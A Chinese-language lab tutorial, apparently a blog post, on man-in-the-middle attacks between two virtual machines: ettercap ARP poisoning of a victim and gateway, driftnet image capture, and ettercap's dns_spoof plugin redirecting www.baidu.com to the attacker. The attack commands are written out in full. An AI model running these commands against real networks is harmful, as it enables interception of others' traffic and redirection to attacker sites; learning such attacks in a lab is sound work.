ettercap 命令行实现dns劫持

为了学习dns劫持的实现,我配置了两个虚拟机,其中包括一个kali,以及一个ubuntu,kali的内网ip为:192.168.109.134,ubuntu的内网ip为:192.168.109.158,用namp扫描存活的主机,以及traceroute发现网关为192.168.109.2。
首先下载ettercap,由于我这个是kali系统,所以内部自带有ettercap,目前就不需要使用了。
	# apt-cache search ettercap
	# apt-get install -y ettercap-graphical
用如上命令运行好后,可以输入ettercap -v看看有无输出来看安装是否成功。

1、首先,要使ip_forward转发生效,则需要修改/etc/sysctl.conf文件。我们可以通过编辑/etc/sysctl.conf文件,并在其中增加一行:
net.ipv4.ip_forward=1
实际上,在Ubuntu Server 18.04.1 LTS中已经有了该配置,只需要将最前面的#去掉即可。

arp欺骗:(如果想要实行arp欺骗,这里可以进行,不过不执行不影响后面的结果)
ettercap -Tq -i eth0 -M arp:remote /192.168.109.158// /192.168.109.2//
sudo apt-get install driftnet
sudo driftnet -i eth0
在被攻击的ubuntu系统访问一个图片,并下载,此时,可以看到图片出现在driftnet中了。
arp内容参考自:https://blog.csdn.net/qq_41490561/article/details/104737332

2、我们找到修改ettercap配置文件:etter.dns,这里建议用whereis查找ettercap的目录,然后cd到每个找到的结果下,用ls -a命令查找是否有etter.dns文件,这个是自带的。然后修改里面的配置,比如我希望ubuntu访问www.baidu.com的时候转为访问我们攻击的ip:
	ettercap -Tq -i eth0 -M arp:remote -P dns_spoof /192.168.109.158// /192.168.109.2//
    i是指定网卡,如果你的连接是wlan0的话就改成wlan0,T(text)是仅使用文本GUI,q(quite)不显示数据内容 P使用插件 在这里就是dns_spoof 这个插件
	
3、命令行进行dns劫持攻击。
	ettercap -Tq -i eth0 -M arp:remote -P dns_spoof /192.168.109.158// /192.168.109.2//
	前面这里eth0为内网网卡,192.168.109.158为被攻击的主机,192.168.109.2为网关。
	
4、在ubuntu中访问www.baidu,com,发现已经被dns劫持了。

该帖仅为教学,请勿实际攻击。

你可能感兴趣的:(dns服务器,网络安全)